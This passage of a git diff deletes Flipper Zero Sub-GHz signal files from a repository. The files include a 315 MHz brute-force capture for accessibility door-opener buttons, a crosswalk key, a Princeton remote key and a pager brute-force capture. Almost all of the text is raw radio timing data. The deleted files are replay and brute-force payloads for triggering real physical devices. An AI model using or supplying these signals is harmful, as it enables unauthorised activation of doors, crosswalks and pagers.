-130 323 -126 369 -96 337 -130 125 -372 327 -138 335 -126 319 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -372 315 -124 341 -128 121 -3712 131 -360 103 -358 105 -370 327 -142 335 -128 327 -140 361 -106 341 -102 135 -354 353 -94 363 -104 337 -124 123 -354 139 -334 127 -354 351 -102 143 -362 105 -336 129 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3716 131 -340 127 -340 129 -340 347 -122 359 -104 359 -108 337 -126 353 -140 107 -360 329 -126 349 -94 391 -104 103 -352 127 -340 129 -338 349 -122 123 -356 139 -336 125 -356 95 -370 129 -340 129 -340 347 -124 339 -126 121 -3706 131 -352 103 -394 105 -336 371 -106 337 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -126 315 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 355 -140 333 -96 125 -3744 97 -352 135 -360 105 -336 373 -108 337 -128 351 -94 369 -96 369 -96 127 -370 diff --git a/assets/resources/subghz/Handicap/ook650_315brute.sub b/assets/resources/subghz/Handicap/ook650_315brute.sub deleted file mode 100644 index 3598e9e86..000000000 --- a/assets/resources/subghz/Handicap/ook650_315brute.sub +++ /dev/null @@ -1,16 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# brute combo of button 1650 and push door subs by FalsePhilosopher, will add more as they appear. -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 13125 -3928 231 -1198 131 -1456 65 -230 265 -464 429 -98 295 -100 295 -164 97 -100 855 -98 655 -164 5259 -5836 97 -66 163 -198 99 -262 163 -132 165 -466 197 -692 97 -132 131 -166 97 -234 131 -266 12941 -3744 527 -132 195 -98 1251 -134 663 -166 331 -200 231 -300 99 -66 365 -198 263 -196 97 -166 329 -132 131 -196 827 -164 10281 -7850 165 -164 99 -134 65 -134 97 -232 231 -166 199 -198 99 -2352 497 -66 197 -66 333 -66 1749 -66 3919 -7640 65 -690 99 -3264 65 -100 163 -328 65 -66 99 -198 1721 -198 263 -132 14257 -198 97 -368 97 -66 99 -2058 97 -396 163 -100 827 -66 921 -66 295 -98 261 -98 557 -100 11337 -7658 133 -166 197 -864 131 -164 229 -730 793 -166 1059 -132 9799 -4050 65 -460 65 -64 229 -1158 265 -1060 99 -364 97 -1192 295 -232 265 -528 99 -200 65 -1426 297 -66 565 -98 2613 -68 8873 -3704 165 -232 329 -232 65 -432 465 -100 233 -232 365 -198 263 -532 363 -132 99 -266 131 -66 67 -164 627 -630 99 -100 99 -166 165 -234 195 -202 4181 -66 11711 -234 97 -1184 229 -696 1057 -66 793 -68 5559 -464 165 -698 163 -66 329 -134 565 -166 97 -100 733 -166 1023 -132 2749 -448 395 -476 775 -476 781 -854 803 -874 373 -452 809 -416 841 -854 419 -412 427 -410 835 -838 843 -412 797 -900 405 -1680 413 -426 395 -864 413 -816 855 -804 873 -380 451 -828 419 -838 837 -382 441 -386 443 -830 873 -806 447 -770 939 -378 1687 -380 453 -380 893 -372 883 -778 897 -776 449 -388 877 -378 865 -802 443 -382 443 -400 873 -782 895 -378 873 -826 477 -1610 475 -380 451 -782 459 -816 851 -784 889 -376 453 -808 445 -814 867 -380 449 -378 449 -810 877 -788 441 -812 911 -370 1709 -386 433 -398 881 -352 899 -786 879 -790 441 -390 869 -380 895 -776 449 -386 441 -388 871 -810 859 -410 847 -848 443 -1634 475 -354 477 -784 469 -780 881 -816 865 -378 419 -840 445 -798 867 -380 449 -378 453 -792 873 -816 439 -820 913 -378 1703 -372 453 -378 883 -360 875 -816 857 -802 447 -386 871 -380 863 -806 447 -388 445 -392 861 -814 847 -388 887 -842 437 -1646 425 -382 471 -780 455 -806 877 -792 867 -382 449 -814 445 -800 869 -380 451 -380 463 -812 851 -816 461 -790 911 -372 1711 -392 443 -376 875 -362 889 -814 857 -804 441 -386 869 -376 869 -802 445 -384 475 -370 879 -780 885 -374 885 -814 473 -1634 437 -390 441 -814 463 -780 881 -784 891 -378 449 -774 479 -796 871 -382 457 -380 435 -826 847 -820 437 -816 881 -378 1707 -398 -RAW_Data: 455 -378 847 -390 871 -812 855 -808 447 -388 881 -372 891 -776 479 -356 471 -354 881 -812 877 -356 871 -848 473 -1616 461 -362 471 -784 457 -812 851 -810 891 -342 451 -810 483 -758 897 -380 447 -380 457 -782 879 -818 451 -778 913 -386 1705 -392 441 -386 869 -378 865 -804 869 -808 419 -438 805 -458 791 -878 389 -440 401 -428 833 -808 865 -386 863 -838 447 -1626 477 -364 479 -766 447 -818 867 -806 873 -376 435 -824 449 -808 863 -392 439 -386 443 -786 895 -808 411 -816 927 -376 1739 -342 453 -378 891 -368 883 -750 927 -768 479 -354 899 -342 907 -772 475 -354 479 -362 881 -788 913 -332 913 -818 463 -1614 455 -366 497 -780 449 -780 931 -754 879 -362 477 -774 473 -778 887 -372 485 -344 487 -780 891 -746 483 -774 975 -340 1739 -366 457 -342 915 -360 891 -784 885 -768 479 -354 911 -342 883 -772 509 -350 473 -354 891 -782 885 -370 883 -814 479 -1606 469 -388 477 -778 465 -786 877 -792 869 -380 449 -772 499 -792 879 -378 451 -340 487 -774 913 -762 475 -778 915 -380 1737 -340 483 -344 911 -366 879 -780 893 -776 477 -356 881 -376 899 -770 481 -352 473 -356 877 -780 913 -356 905 -780 505 -1582 493 -352 473 -780 493 -774 905 -752 897 -378 449 -780 477 -766 899 -382 449 -378 455 -812 849 -810 465 -780 915 -364 1713 -390 443 -404 879 -358 871 -814 857 -804 445 -386 869 -378 867 -806 443 -384 471 -358 903 -782 857 -374 873 -852 443 -1636 475 -354 471 -782 463 -778 883 -784 895 -380 449 -782 481 -794 871 -380 447 -382 459 -784 891 -782 451 -802 935 -356 1709 -384 441 -396 881 -354 871 -814 883 -768 479 -354 907 -372 855 -808 445 -386 475 -354 881 -788 881 -362 907 -816 473 -1612 465 -378 445 -806 453 -794 883 -780 895 -378 449 -780 473 -788 871 -378 447 -378 457 -816 883 -784 453 -798 887 -390 1711 -384 445 -390 861 -358 901 -774 881 -780 491 -374 879 -360 875 -778 493 -376 447 -358 901 -778 879 -378 905 -804 477 -1618 441 -388 443 -802 475 -780 893 -772 903 -350 461 -808 449 -776 905 -358 459 -370 453 -812 883 -780 459 -800 943 -342 1727 -346 479 -382 865 -382 873 -794 873 -778 475 -384 871 -354 903 -794 453 -378 449 -378 893 -776 875 -380 879 -832 443 -1634 479 -356 473 -784 471 -780 883 -800 843 -380 447 -818 463 -792 875 -380 451 -366 459 -808 881 -770 477 -776 951 -348 1711 -376 451 -378 877 -400 849 -810 891 -770 481 -354 901 -362 863 -808 445 -362 459 -408 879 -784 869 -380 879 -822 449 -1642 -RAW_Data: 473 -354 477 -780 465 -788 881 -790 869 -380 449 -782 477 -802 873 -380 451 -378 471 -780 881 -784 461 -774 947 -374 1703 -374 453 -376 883 -360 889 -780 883 -804 443 -386 879 -380 865 -804 445 -378 451 -388 879 -802 851 -386 879 -830 447 -1634 449 -378 485 -778 455 -776 913 -766 889 -386 443 -794 477 -784 879 -370 457 -374 453 -802 859 -814 449 -806 893 -384 1731 -354 479 -354 897 -350 903 -778 881 -796 455 -378 879 -358 911 -750 481 -382 437 -376 909 -774 881 -378 863 -804 475 -1638 481 -354 473 -782 473 -782 883 -796 839 -382 487 -780 465 -798 875 -344 483 -368 455 -810 883 -764 477 -778 919 -380 1705 -374 457 -378 883 -362 907 -782 861 -806 479 -354 879 -376 867 -806 479 -322 477 -390 869 -776 921 -344 883 -818 479 -1610 469 -360 501 -782 459 -776 875 -796 905 -346 453 -812 437 -794 903 -346 479 -350 465 -810 879 -796 443 -810 889 -378 1705 -376 485 -348 885 -362 913 -782 879 -768 477 -354 903 -378 863 -804 445 -384 441 -384 881 -788 877 -364 881 -846 457 -1636 445 -378 455 -792 453 -804 871 -808 881 -370 453 -806 447 -790 893 -376 449 -378 453 -796 871 -784 465 -808 913 -378 1697 -374 451 -376 913 -366 881 -752 879 -798 477 -354 903 -370 885 -776 479 -356 479 -360 883 -784 875 -396 847 -848 427 -1644 449 -382 461 -792 451 -810 879 -796 879 -354 473 -780 469 -780 877 -388 469 -366 457 -774 911 -768 459 -804 903 -400 1717 -346 463 -378 869 -376 877 -784 899 -774 479 -354 899 -360 869 -816 441 -386 445 -406 851 -780 893 -376 883 -846 445 -1636 437 -390 471 -784 459 -776 911 -764 903 -346 487 -776 477 -770 877 -382 459 -370 461 -786 877 -792 475 -780 911 -370 1707 -400 425 -406 849 -390 891 -780 883 -768 477 -386 845 -414 861 -804 443 -382 441 -386 891 -784 885 -368 879 -816 469 -1618 455 -382 471 -780 453 -810 879 -792 903 -348 451 -806 445 -800 873 -380 451 -376 487 -756 881 -814 439 -812 911 -374 1707 -362 477 -378 877 -360 871 -810 861 -806 443 -386 879 -376 865 -806 479 -352 471 -356 907 -780 857 -374 879 -850 471 -1608 465 -352 503 -748 493 -784 877 -792 869 -376 479 -778 453 -804 863 -384 471 -354 473 -780 895 -772 477 -11734 197 -98 197 -330 821 -398 1257 -134 693 -96 593 -200 163 -100 1093 -100 1095 -166 593 -166 1989 -198 8605 -1138 329 -132 563 -100 131 -664 99 -100 497 -564 727 -696 929 -132 99 -100 889 -366 4399 -12880 723 -464 331 -166 627 -166 959 -98 729 -166 197 -364 -RAW_Data: 501 -2022 133 -762 97 -366 133 -298 1121 -66 97 -98 395 -626 131 -164 261 -330 3507 -66 2303 -132 391 -298 15687 -896 427 -332 393 -332 463 -300 3709 -300 1193 -100 2521 -100 2447 -66 11843 -336 365 -68 297 -432 65 -68 693 -198 2651 -66 823 -100 261 -98 10083 -1312 97 -2306 263 -526 1689 -134 329 -330 16953 -564 65 -200 333 -864 363 -764 565 -560 1059 -166 559 -324 529 -562 623 -662 527 -232 3255 -68 99 -4874 295 -894 493 -666 987 -230 465 -100 131 -202 165 -132 625 -68 961 -164 161 -98 10249 -3754 363 -594 625 -890 361 -528 231 -432 427 -368 929 -298 827 -98 755 -166 233 -166 757 -66 627 -66 8603 -3738 331 -428 495 -498 631 -494 1159 -66 97 -132 959 -130 97 -166 959 -66 2771 -66 1391 -66 7053 -3928 197 -760 397 -1162 497 -232 527 -398 695 -98 429 -494 65 -198 851 -296 557 -298 9963 -1926 65 -1026 65 -830 563 -464 363 -1658 231 -896 595 -164 1327 -198 101 -496 397 -164 133 -66 101 -66 6965 -1650 133 -6350 97 -432 797 -564 857 -100 65 -364 497 -132 663 -132 665 -166 959 -232 987 -364 465 -426 3015 -66 7615 -758 329 -460 97 -232 455 -430 1647 -100 1189 -100 865 -830 923 -198 897 -334 823 -394 11369 -RAW_Data: 1193 -330 131 -32700 195 -244 1749 -830 413 -418 837 -418 825 -442 387 -446 843 -398 849 -842 831 -412 847 -418 411 -410 843 -420 837 -416 409 -900 411 -1672 817 -452 387 -854 395 -864 415 -412 409 -854 413 -844 817 -838 415 -844 427 -428 407 -842 423 -822 411 -450 847 -412 1669 -834 415 -418 837 -442 835 -418 385 -450 821 -440 813 -846 831 -450 809 -424 395 -436 843 -420 837 -414 409 -900 411 -1672 849 -416 415 -818 425 -838 419 -418 417 -828 441 -814 843 -832 415 -842 427 -396 437 -842 423 -818 423 -408 875 -440 1671 -830 411 -418 843 -418 821 -440 387 -446 811 -430 849 -844 825 -416 845 -418 411 -408 843 -422 837 -414 409 -902 409 -1670 849 -420 389 -856 395 -866 417 -418 411 -850 413 -812 843 -838 415 -844 427 -398 435 -846 387 -850 425 -406 875 -438 1669 -830 413 -416 843 -418 825 -440 387 -444 813 -430 853 -810 857 -414 843 -416 411 -410 841 -422 835 -416 409 -902 409 -1674 817 -452 387 -854 395 -862 419 -416 409 -832 417 -846 821 -842 415 -846 427 -416 411 -848 415 -852 413 -408 853 -418 1693 -844 397 -426 837 -418 817 -432 423 -408 845 -424 823 -844 851 -412 811 -450 379 -440 843 -424 825 -418 411 -910 383 -1670 841 -450 383 -848 417 -862 411 -388 445 -846 399 -852 807 -858 413 -846 385 -450 407 -852 381 -850 449 -404 855 -416 1679 -844 425 -414 839 -410 839 -422 415 -408 853 -414 817 -850 855 -412 819 -450 401 -398 833 -450 811 -426 411 -908 399 -1684 839 -416 407 -852 379 -848 437 -428 387 -872 381 -842 837 -844 419 -846 401 -424 407 -844 425 -836 415 -410 865 -452 1643 -846 417 -418 851 -414 839 -412 417 -414 847 -402 849 -846 829 -414 845 -420 415 -408 817 -448 819 -450 399 -886 387 -1678 841 -428 411 -840 417 -848 399 -424 441 -842 395 -838 847 -830 413 -844 419 -410 409 -846 423 -838 413 -410 867 -418 1675 -844 419 -418 837 -424 837 -418 415 -420 821 -442 813 -844 835 -450 809 -422 411 -442 809 -426 819 -422 443 -878 413 -1672 829 -416 415 -848 417 -856 409 -418 415 -844 399 -850 843 -824 413 -846 389 -448 409 -852 413 -852 417 -404 853 -416 1695 -816 439 -418 843 -418 819 -436 387 -444 807 -428 837 -846 829 -416 841 -424 411 -442 809 -422 837 -414 409 -902 419 -1684 811 -452 385 -854 395 -866 417 -418 409 -848 411 -844 815 -838 417 -844 423 -428 407 -844 389 -852 423 -442 839 -442 1667 -834 415 -418 843 -416 829 -440 377 -448 833 -426 819 -844 819 -444 813 -416 435 -432 -RAW_Data: 811 -418 861 -420 413 -878 413 -1670 833 -448 385 -838 451 -796 443 -410 415 -842 433 -804 845 -836 419 -844 423 -400 437 -812 417 -856 423 -410 875 -440 1673 -828 413 -418 845 -422 821 -404 421 -444 811 -430 849 -842 825 -414 843 -420 409 -410 843 -424 817 -412 443 -880 419 -1670 841 -420 415 -822 407 -852 415 -416 417 -846 403 -846 843 -836 415 -842 423 -410 411 -842 423 -834 413 -408 903 -388 1703 -818 419 -418 837 -426 839 -422 381 -446 847 -412 811 -846 837 -418 841 -426 395 -436 841 -418 837 -412 419 -890 421 -1668 843 -422 381 -840 437 -824 451 -382 451 -816 403 -850 845 -834 411 -838 425 -398 437 -844 419 -820 425 -408 877 -400 1709 -826 415 -418 849 -388 851 -402 423 -410 843 -428 853 -808 857 -416 843 -422 399 -432 811 -416 867 -380 437 -898 407 -1654 867 -388 445 -808 427 -836 413 -442 409 -844 419 -820 847 -842 399 -848 413 -408 441 -842 419 -820 423 -410 873 -404 1701 -828 415 -416 851 -420 821 -406 421 -412 843 -428 851 -806 857 -416 843 -416 409 -412 841 -420 835 -414 439 -872 419 -1644 847 -422 419 -856 399 -830 453 -382 445 -812 441 -814 845 -832 415 -844 427 -396 437 -844 421 -820 423 -408 873 -438 1671 -832 413 -418 843 -420 823 -440 387 -446 809 -430 821 -840 857 -414 843 -418 409 -410 843 -424 819 -424 443 -874 413 -1674 827 -416 415 -848 413 -846 413 -418 417 -814 429 -854 841 -826 413 -844 423 -416 409 -850 411 -838 409 -410 875 -438 1673 -828 413 -418 849 -420 817 -404 421 -444 843 -394 835 -844 831 -416 845 -420 409 -412 843 -422 835 -416 409 -884 419 -1674 847 -420 415 -822 437 -824 415 -416 413 -842 439 -812 843 -836 417 -842 423 -410 445 -808 425 -836 413 -420 859 -418 1697 -810 453 -382 875 -418 833 -408 411 -416 841 -402 835 -844 837 -416 835 -430 425 -408 843 -422 825 -416 417 -880 417 -1670 837 -418 415 -850 419 -824 443 -388 447 -810 429 -854 841 -828 413 -844 421 -418 407 -820 443 -822 419 -400 897 -386 1689 -854 413 -416 849 -420 817 -404 421 -446 839 -394 835 -842 835 -418 841 -426 395 -436 841 -418 833 -412 407 -900 421 -1644 845 -422 417 -834 409 -854 407 -420 441 -810 419 -848 833 -848 419 -844 399 -428 407 -842 423 -822 415 -418 881 -416 1667 -838 451 -384 843 -418 827 -442 387 -446 845 -398 851 -810 855 -414 843 -418 409 -410 843 -424 821 -416 449 -852 417 -1670 841 -452 381 -850 417 -826 445 -386 447 -810 427 -836 841 -836 415 -844 425 -416 -RAW_Data: 411 -852 411 -822 437 -396 883 -424 1683 -812 439 -388 839 -420 849 -404 423 -410 843 -430 819 -838 857 -412 845 -418 409 -410 839 -422 835 -414 409 -884 419 -1672 847 -420 417 -820 453 -830 411 -418 417 -814 429 -852 839 -828 415 -844 423 -416 407 -852 411 -846 399 -432 845 -426 1691 -828 415 -416 843 -420 825 -404 421 -446 811 -430 819 -842 855 -416 845 -418 417 -406 853 -380 875 -416 405 -886 417 -1664 849 -414 415 -814 453 -816 439 -390 443 -808 427 -852 837 -828 413 -844 425 -416 409 -820 445 -810 439 -410 877 -402 1677 -856 411 -418 845 -414 843 -410 387 -450 841 -398 849 -840 827 -414 841 -422 409 -412 841 -424 835 -414 439 -870 411 -1674 843 -412 417 -836 411 -834 411 -446 413 -834 417 -848 839 -820 425 -838 419 -386 443 -848 413 -844 413 -410 871 -420 1677 -818 421 -418 835 -422 837 -422 415 -408 867 -386 843 -850 841 -420 809 -428 409 -446 807 -428 837 -414 439 -854 419 -1676 845 -420 417 -822 437 -822 415 -412 445 -812 441 -836 817 -842 415 -836 429 -396 439 -844 421 -820 423 -410 877 -406 1675 -860 413 -386 877 -422 817 -402 421 -446 839 -396 851 -808 861 -414 845 -420 397 -434 843 -384 865 -412 407 -900 407 -1692 835 -410 445 -808 421 -834 413 -410 441 -844 423 -820 851 -806 427 -836 415 -416 437 -822 413 -840 451 -32700 655 -558 663 -576 457 -100 659 -894 305 -496 323 -466 327 -460 753 -476 741 -438 359 -1690 345 -852 355 -846 771 -812 379 -816 385 -806 413 -786 813 -426 381 -400 411 -408 367 -816 403 -788 413 -406 1635 -392 815 -408 811 -792 793 -404 791 -412 805 -400 823 -788 389 -372 423 -408 387 -410 815 -384 807 -382 417 -1630 413 -790 425 -784 829 -752 441 -778 425 -772 411 -806 811 -376 423 -372 421 -374 423 -806 411 -774 443 -378 1637 -406 823 -360 833 -772 835 -374 807 -386 837 -380 807 -776 421 -416 393 -380 411 -410 815 -364 821 -384 437 -1614 417 -786 411 -784 827 -794 403 -784 421 -768 441 -772 839 -352 441 -362 431 -394 397 -794 439 -750 449 -366 1647 -388 841 -382 813 -778 811 -392 801 -382 835 -378 817 -782 417 -380 421 -382 417 -414 815 -358 835 -384 421 -1632 393 -796 439 -754 827 -786 403 -784 433 -784 413 -794 821 -362 443 -370 425 -372 423 -768 443 -746 455 -380 1667 -362 853 -378 789 -786 827 -400 821 -360 831 -376 817 -782 415 -380 419 -382 415 -384 849 -354 849 -350 451 -1612 407 -782 431 -784 833 -752 441 -780 427 -762 411 -800 833 -374 427 -368 -RAW_Data: 423 -372 423 -802 411 -784 395 -396 1679 -352 815 -412 815 -786 819 -364 817 -408 813 -364 825 -782 433 -390 411 -372 419 -406 813 -352 845 -382 417 -1610 453 -752 417 -806 789 -784 423 -802 411 -780 413 -782 839 -382 419 -378 419 -378 419 -772 449 -748 449 -380 1641 -406 815 -366 817 -802 799 -370 859 -358 835 -376 817 -784 415 -380 413 -412 411 -380 809 -390 799 -416 431 -1612 411 -768 431 -792 817 -776 417 -772 447 -748 447 -784 807 -382 419 -380 415 -380 419 -806 411 -778 431 -378 1655 -376 813 -384 835 -780 807 -412 783 -414 807 -398 825 -752 423 -372 423 -408 385 -408 807 -386 835 -384 421 -1598 445 -764 443 -754 845 -778 417 -782 415 -786 417 -776 837 -384 387 -414 387 -414 417 -784 417 -780 417 -380 1667 -374 817 -382 807 -808 807 -376 849 -354 839 -382 815 -780 415 -382 421 -382 413 -382 819 -388 803 -382 435 -1638 419 -778 393 -800 803 -802 439 -754 419 -806 409 -778 813 -386 415 -388 413 -386 415 -784 419 -784 417 -390 1663 -366 825 -404 821 -784 807 -384 805 -416 815 -354 835 -788 415 -358 443 -386 413 -388 807 -382 815 -386 441 -1610 437 -752 413 -804 807 -806 411 -786 417 -776 449 -750 811 -386 449 -356 441 -360 413 -796 439 -748 443 -372 1673 -356 835 -380 833 -762 827 -368 823 -394 829 -374 819 -782 419 -380 415 -416 383 -382 815 -388 837 -384 421 -1610 435 -788 399 -784 813 -784 447 -754 419 -800 413 -792 819 -362 413 -398 423 -372 423 -804 413 -784 419 -376 1673 -362 831 -366 821 -802 797 -406 821 -360 833 -376 813 -780 415 -410 413 -380 417 -378 811 -390 815 -374 451 -1608 425 -770 443 -750 825 -788 423 -804 409 -772 413 -810 805 -378 413 -414 381 -410 413 -770 411 -788 433 -396 1649 -380 807 -384 835 -774 807 -404 817 -364 827 -394 825 -768 439 -350 435 -382 441 -352 837 -380 805 -388 441 -1620 411 -784 397 -796 839 -768 435 -774 413 -776 445 -746 845 -386 409 -396 397 -398 395 -796 409 -782 449 -368 1653 -388 803 -416 815 -780 815 -388 801 -406 813 -362 821 -804 411 -380 419 -380 419 -378 841 -352 833 -378 427 -1618 417 -782 447 -782 813 -786 391 -800 405 -786 433 -782 831 -378 399 -414 393 -380 417 -782 411 -818 399 -414 1631 -376 817 -388 837 -776 811 -412 783 -388 837 -382 813 -778 415 -378 415 -406 385 -414 827 -372 821 -358 471 -1572 457 -764 435 -750 831 -796 405 -784 435 -752 431 -786 829 -378 439 -380 395 -378 413 -784 449 -754 423 -414 1657 -372 817 -366 -RAW_Data: 851 -770 833 -370 839 -352 835 -380 813 -782 417 -382 421 -380 415 -378 845 -362 823 -368 461 -1580 421 -808 413 -784 811 -776 419 -802 413 -772 443 -752 847 -352 443 -356 441 -386 407 -788 431 -786 405 -384 1667 -354 869 -346 851 -748 851 -362 839 -358 831 -376 817 -780 417 -380 419 -412 389 -414 813 -354 837 -364 459 -1616 417 -784 417 -782 813 -788 427 -782 411 -788 403 -788 851 -356 441 -358 441 -356 443 -748 449 -772 413 -386 1659 -384 833 -380 813 -780 815 -388 827 -366 819 -402 821 -780 423 -368 423 -370 423 -372 845 -354 835 -382 419 -1608 447 -756 425 -808 817 -774 413 -772 447 -784 417 -780 807 -382 421 -380 419 -380 419 -776 449 -750 421 -410 1639 -394 815 -382 821 -800 799 -402 821 -360 833 -376 815 -782 419 -408 383 -414 417 -380 815 -386 799 -382 461 -1578 445 -772 409 -784 827 -798 401 -784 433 -758 435 -780 821 -384 431 -352 437 -384 439 -746 419 -808 409 -382 1665 -366 853 -368 809 -780 843 -356 835 -366 853 -374 821 -784 387 -408 417 -378 417 -378 817 -384 815 -412 413 -1626 413 -768 441 -756 847 -782 415 -784 417 -784 419 -772 841 -380 397 -376 453 -372 421 -758 431 -786 437 -362 1659 -384 813 -384 835 -772 839 -348 847 -354 837 -380 829 -764 433 -366 425 -396 429 -350 831 -376 839 -384 411 -1610 431 -772 423 -802 803 -772 441 -776 415 -802 411 -776 813 -390 413 -400 393 -398 425 -768 445 -754 423 -406 1639 -390 839 -378 807 -764 827 -400 807 -388 807 -380 845 -776 417 -380 413 -378 415 -380 861 -360 813 -382 425 -1636 391 -794 437 -774 809 -776 421 -784 447 -754 423 -784 839 -368 425 -366 425 -396 433 -752 421 -802 413 -390 1631 -416 815 -354 845 -774 839 -372 815 -366 827 -396 829 -766 441 -360 435 -360 433 -360 833 -380 813 -390 439 -1610 429 -762 431 -790 799 -794 441 -750 415 -800 409 -778 847 -356 447 -356 449 -354 449 -752 419 -802 415 -392 1641 -398 825 -374 817 -790 817 -382 801 -412 815 -354 837 -772 449 -356 441 -354 441 -354 841 -382 815 -386 445 -1580 433 -782 449 -762 823 -792 401 -780 449 -762 423 -774 817 -382 445 -354 441 -354 445 -748 455 -772 417 -388 1659 -380 821 -366 827 -782 827 -380 831 -374 819 -358 833 -812 409 -360 435 -392 407 -390 803 -412 815 -354 443 -1616 427 -782 411 -780 825 -764 433 -784 401 -786 435 -782 831 -370 423 -368 423 -398 431 -748 445 -766 433 -378 1655 -376 819 -388 837 -776 807 -378 849 -354 837 -382 815 -778 419 -382 -RAW_Data: 425 -380 427 -378 827 -360 835 -382 441 -1604 423 -760 431 -792 831 -770 433 -744 449 -740 479 -748 853 -356 443 -324 473 -354 443 -746 451 -774 445 -356 1679 -360 829 -378 819 -782 845 -356 837 -352 851 -354 835 -782 411 -396 425 -368 425 -370 849 -354 837 -382 419 -1614 415 -782 451 -742 887 -712 451 -742 479 -752 417 -778 843 -346 453 -376 417 -378 417 -774 445 -754 445 -380 1647 -376 847 -344 847 -772 835 -374 817 -366 855 -370 841 -750 417 -380 421 -380 417 -382 847 -356 879 -312 491 -30750 297 -98 131 -230 393 -1356 99 -594 97 -358 97 -20680 465 -232 165 -264 99 -1064 133 -164 131 -1320 diff --git a/assets/resources/subghz/Misc/Crosswalk_Unknown.sub b/assets/resources/subghz/Misc/Crosswalk_Unknown.sub deleted file mode 100644 index b711bc182..000000000 --- a/assets/resources/subghz/Misc/Crosswalk_Unknown.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 868350000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: CAME -Bit: 24 -Key: 00 00 00 00 1F FF FF FF diff --git a/assets/resources/subghz/Misc/Go1.sub b/assets/resources/subghz/Misc/Go1.sub deleted file mode 100644 index 5f47d5ed8..000000000 --- a/assets/resources/subghz/Misc/Go1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 75 ED 64 -TE: 338 diff --git a/assets/resources/subghz/Misc/Pager_Bruteforce.sub b/assets/resources/subghz/Misc/Pager_Bruteforce.sub deleted file mode 100644 index 27e8a5430..000000000 --- a/assets/resources/subghz/Misc/Pager_Bruteforce.sub +++ /dev/null @@ -1,108 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 467750000 -Preset: FuriHalSubGhzPresetCustom -Custom_preset_module: CC1101 -Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00 -Protocol: RAW -RAW_Data: 2950 -8252 551 -184 549 -7528 1285 -554 369 -187658 219 -138090 28885 -1206 4003 -2610 3601 -3004 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3004 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 3393 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 3389 -3002 1801 -1400 3401 -3008 3397 -2994 3401 -1398 1791 -4422 621 -2182 1689 -2756 3511 -3098 3253 -3022 3413 -3010 3403 -3002 3407 -3004 3399 -3006 3393 -2994 3401 -3002 3395 -3002 3393 -3002 3395 -3002 3405 -1400 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3407 -3004 3393 -1398 1791 -3000 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 3397 -3006 1805 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -2998 1805 -1396 3391 -3002 3393 -1402 1799 -3002 1797 -1398 3801 -2190 219 -1768 1767 -2596 3795 -2728 3493 -2872 3443 -3022 3417 -3002 3407 -3006 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1795 -1398 1801 -1400 3407 -3006 3393 -1398 1791 -2998 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 -RAW_Data: 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 